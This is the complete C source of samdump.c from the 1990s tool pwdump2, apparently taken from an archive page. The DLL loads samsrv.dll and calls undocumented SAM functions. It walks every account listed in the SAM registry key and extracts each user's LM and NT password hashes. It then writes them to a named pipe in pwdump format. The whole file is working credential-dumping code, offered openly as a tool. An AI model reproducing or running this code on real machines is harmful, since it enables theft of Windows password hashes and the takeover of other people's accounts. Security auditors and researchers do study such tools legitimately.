home *** CD-ROM | disk | FTP | other *** search
- /***************************************************************************
- * File: samdump.c
- *
- * Purpose: Dump the contents of the SAM to a file.
- *
- * Date: Wed Oct 01 21:51:53 1997
- *
- * (C) Todd Sabin 1997,1998 All rights reserved.
- *
- * This program is free software; you can redistribute it and/or
- * modify it under the terms of the GNU General Public License
- * as published by the Free Software Foundation; either version 2
- * of the License, or (at your option) any later version.
- *
- * This program is distributed in the hope that it will be useful,
- * but WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
- * GNU General Public License for more details.
- *
- * You should have received a copy of the GNU General Public License
- * along with this program; if not, write to the Free Software
- * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
- *
- ***************************************************************************/
-
- #include <windows.h>
- #include <winnt.h>
- #include "ntsecapi.h"
-
- #include "pwdump2.h"
-
- #include <stdio.h>
-
-
- static HINSTANCE hSamsrv;
-
- typedef DWORD HUSER;
- typedef DWORD HSAM;
- typedef DWORD HDOMAIN;
- typedef DWORD HUSER;
-
- //
- // Samsrv functions
- //
- typedef NTSTATUS (WINAPI *SamIConnect_t) (DWORD, HSAM*, DWORD, DWORD);
- typedef NTSTATUS (WINAPI *SamrOpenDomain_t) (HSAM, DWORD dwAccess, PSID, HDOMAIN*);
- typedef NTSTATUS (WINAPI *SamrOpenUser_t) (HDOMAIN, DWORD dwAccess, DWORD, HUSER*);
- typedef NTSTATUS (WINAPI *SamrQueryInformationUser_t) (HUSER, DWORD, PVOID);
- typedef HLOCAL (WINAPI *SamIFree_SAMPR_USER_INFO_BUFFER_t) (PVOID, DWORD);
- typedef NTSTATUS (WINAPI *SamrCloseHandle_t) (DWORD*);
-
-
- #define SAM_USER_INFO_PASSWORD_OWFS 0x12
-
-
- //
- // Samsrv function pointers
- //
- static SamIConnect_t pSamIConnect;
- static SamrOpenDomain_t pSamrOpenDomain;
- static SamrOpenUser_t pSamrOpenUser;
- static SamrQueryInformationUser_t pSamrQueryInformationUser;
- static SamIFree_SAMPR_USER_INFO_BUFFER_t pSamIFree_SAMPR_USER_INFO_BUFFER;
- static SamrCloseHandle_t pSamrCloseHandle;
-
- //
- // Load DLLs and GetProcAddresses
- //
- BOOL
- LoadFunctions (void)
- {
- hSamsrv = LoadLibrary ("samsrv.dll");
-
-
- pSamIConnect = (SamIConnect_t) GetProcAddress (hSamsrv, "SamIConnect");
- pSamrOpenDomain = (SamrOpenDomain_t) GetProcAddress (hSamsrv, "SamrOpenDomain");
- pSamrOpenUser = (SamrOpenUser_t) GetProcAddress (hSamsrv, "SamrOpenUser");
- pSamrQueryInformationUser = (SamrQueryInformationUser_t) GetProcAddress (hSamsrv, "SamrQueryInformationUser");
- pSamIFree_SAMPR_USER_INFO_BUFFER = (SamIFree_SAMPR_USER_INFO_BUFFER_t) GetProcAddress (hSamsrv, "SamIFree_SAMPR_USER_INFO_BUFFER");
- pSamrCloseHandle = (SamrCloseHandle_t) GetProcAddress (hSamsrv, "SamrCloseHandle");
-
- return ((pSamIConnect != NULL)
- && (pSamrOpenDomain != NULL)
- && (pSamrOpenUser != NULL)
- && (pSamrQueryInformationUser != NULL)
- && (pSamIFree_SAMPR_USER_INFO_BUFFER != NULL)
- && (pSamrCloseHandle != NULL));
- }
-
-
- //
- // Send text down the pipe
- //
- void
- SendText (HANDLE hPipe, char *szText)
- {
- char szBuffer[1000];
- DWORD dwWritten;
-
- if (!WriteFile (hPipe, szText, strlen (szText), &dwWritten, NULL))
- {
- _snprintf (szBuffer, sizeof (szBuffer),
- "WriteFile failed: %d\nText: %s",
- GetLastError (), szText);
- OutputDebugString (szBuffer);
- }
- }
-
-
- //
- // Print out info for one user
- //
- void
- DumpInfo (HANDLE hPipe, LPCTSTR lpszName, DWORD dwRid, PVOID pData)
- {
- //
- // Should really just check buffer size instead of this __try
- //
- __try
- {
- PBYTE p = (PBYTE) pData;
- char szBuffer[1000];
-
- _snprintf (szBuffer, sizeof (szBuffer), "%s:%d:"
- "%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x:"
- "%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x:::\n",
- lpszName, dwRid,
- p[16], p[17], p[18], p[19], p[20], p[21], p[22], p[23],
- p[24], p[25], p[26], p[27], p[28], p[29], p[30], p[31],
- p[0], p[1], p[2], p[3], p[4], p[5], p[6], p[7],
- p[8], p[9], p[10], p[11], p[12], p[13], p[14], p[15]
- );
- SendText (hPipe, szBuffer);
- }
- __except (EXCEPTION_EXECUTE_HANDLER)
- {
- }
- }
-
-
- //
- // Dump the SAM contents to a file.
- //
- int
- __declspec(dllexport)
- DumpSam (char *szPipeName)
- {
- DWORD dwErr;
- int i;
- HKEY hKeyUserNames = 0;
-
- LSA_OBJECT_ATTRIBUTES objAttrib;
- LSA_HANDLE lsaHandle = 0;
- PLSA_UNICODE_STRING pSystemName = NULL;
- POLICY_ACCOUNT_DOMAIN_INFO* pDomainInfo;
- NTSTATUS rc;
- TCHAR szBuffer[300];
- HSAM hSam = 0;
- HDOMAIN hDomain = 0;
- HUSER hUser = 0;
-
- int theRc = 1;
- HANDLE hPipe;
-
- //
- // Open the output pipe
- //
- hPipe = CreateFile (szPipeName, GENERIC_WRITE, 0, NULL,
- OPEN_EXISTING, FILE_FLAG_WRITE_THROUGH, NULL);
- if (hPipe == INVALID_HANDLE_VALUE)
- {
- _snprintf (szBuffer, sizeof (szBuffer),
- "Failed to open output pipe(%s): %d\n",
- szPipeName, GetLastError ());
- OutputDebugString (szBuffer);
- goto exit;
- }
-
- if (!LoadFunctions ())
- {
- SendText (hPipe, "Failed to load functions\n");
- goto exit;
- }
-
- //
- // Open the Policy database
- //
- memset (&objAttrib, 0, sizeof (objAttrib));
- objAttrib.Length = sizeof (objAttrib);
-
- rc = LsaOpenPolicy (pSystemName,
- &objAttrib,
- POLICY_ALL_ACCESS,
- &lsaHandle);
- if (rc < 0)
- {
- _snprintf (szBuffer, sizeof (szBuffer),
- "LsaOpenPolicy failed : 0x%08X", rc);
- SendText (hPipe, szBuffer);
- OutputDebugString (szBuffer);
- goto exit;
- }
-
-
- rc = LsaQueryInformationPolicy (lsaHandle,
- PolicyAccountDomainInformation,
- &pDomainInfo);
- if (rc < 0)
- {
- _snprintf (szBuffer, sizeof (szBuffer),
- "LsaQueryInformationPolicy failed : 0x%08X", rc);
- SendText (hPipe, szBuffer);
- OutputDebugString (szBuffer);
- goto exit;
- }
-
- //
- // Connect to the SAM database
- //
- rc = pSamIConnect (0, &hSam, MAXIMUM_ALLOWED, 1);
- if (rc < 0)
- {
- _snprintf (szBuffer, sizeof (szBuffer),
- "SamConnect failed : 0x%08X", rc);
- SendText (hPipe, szBuffer);
- OutputDebugString (szBuffer);
- goto exit;
- }
-
- rc = pSamrOpenDomain (hSam, 0xf07ff,
- pDomainInfo->DomainSid, &hDomain);
- if (rc < 0)
- {
- _snprintf (szBuffer, sizeof (szBuffer),
- "SamOpenDomain failed : 0x%08X\n", rc);
- SendText (hPipe, szBuffer);
- OutputDebugString (szBuffer);
- hDomain = 0;
- goto exit;
- }
-
-
- if (RegOpenKeyEx (HKEY_LOCAL_MACHINE,
- "SAM\\SAM\\Domains\\Account\\Users\\Names",
- 0, KEY_READ, &hKeyUserNames) != ERROR_SUCCESS)
- {
- _snprintf (szBuffer, sizeof (szBuffer),
- "RegOpenKeyEx failed : 0x%08X\n", GetLastError ());
- SendText (hPipe, szBuffer);
- OutputDebugString (szBuffer);
- goto exit;
- }
-
- //
- // Loop over the users
- //
- for (i=0; TRUE; i++)
- {
- HKEY hSubKey = 0;
- DWORD dwRid;
- BYTE ignoredBuff[100];
- DWORD dwSize = sizeof (ignoredBuff);
- PVOID pUserInfo = 0;
- CHAR szUserName[256];
-
-
- dwErr = RegEnumKey (hKeyUserNames, i,
- szUserName, sizeof (szUserName));
- if (dwErr != ERROR_SUCCESS)
- //
- // There are no more users
- //
- break;
-
-
- //
- // Determine the user's Rid
- //
- if (RegOpenKeyEx (hKeyUserNames, szUserName, 0, KEY_READ,
- &hSubKey) != ERROR_SUCCESS)
- {
- _snprintf (szBuffer, sizeof (szBuffer),
- "RegOpenKeyEx failed : 0x%08X\n", GetLastError ());
- SendText (hPipe, szBuffer);
- OutputDebugString (szBuffer);
- continue;
- }
-
- if (RegQueryValueEx (hSubKey, "", 0, &dwRid, ignoredBuff,
- &dwSize) != ERROR_SUCCESS)
- {
- _snprintf (szBuffer, sizeof (szBuffer),
- "RegQueryValueEx failed : 0x%08X\n", GetLastError ());
- SendText (hPipe, szBuffer);
- OutputDebugString (szBuffer);
- RegCloseKey (hSubKey);
- hSubKey = 0;
- continue;
- }
- RegCloseKey (hSubKey);
- hSubKey = 0;
-
- //
- // Open the user (by Rid)
- //
- rc = pSamrOpenUser (hDomain, MAXIMUM_ALLOWED,
- dwRid, &hUser);
- if (rc < 0)
- {
- _snprintf (szBuffer, sizeof (szBuffer),
- "SamrOpenUser failed : 0x%08X\n", rc);
- SendText (hPipe, szBuffer);
- OutputDebugString (szBuffer);
- continue;
- }
-
- //
- // Get the password OWFs
- //
- rc = pSamrQueryInformationUser (hUser,
- SAM_USER_INFO_PASSWORD_OWFS,
- &pUserInfo);
- if (rc < 0)
- {
- _snprintf (szBuffer, sizeof (szBuffer),
- "SamrQueryInformationUser failed : 0x%08X\n", rc);
- SendText (hPipe, szBuffer);
- OutputDebugString (szBuffer);
- pSamrCloseHandle (&hUser);
- hUser = 0;
- continue;
- }
-
- DumpInfo (hPipe, szUserName, dwRid, pUserInfo);
-
- //
- // Free stuff
- //
- pSamIFree_SAMPR_USER_INFO_BUFFER (pUserInfo,
- SAM_USER_INFO_PASSWORD_OWFS);
- pUserInfo = 0;
- pSamrCloseHandle (&hUser);
- hUser = 0;
- }
-
- theRc = 0;
-
- exit:
- //
- // Clean up
- //
- if (hUser)
- pSamrCloseHandle (&hUser);
- if (hDomain)
- pSamrCloseHandle (&hDomain);
- if (hSam)
- pSamrCloseHandle (&hSam);
- if (lsaHandle)
- LsaClose (lsaHandle);
- if (hKeyUserNames)
- RegCloseKey (hKeyUserNames);
- if (hPipe)
- {
- FlushFileBuffers (hPipe);
- CloseHandle (hPipe);
- }
- if (hSamsrv)
- FreeLibrary (hSamsrv);
-
- return theRc;
- }
-
-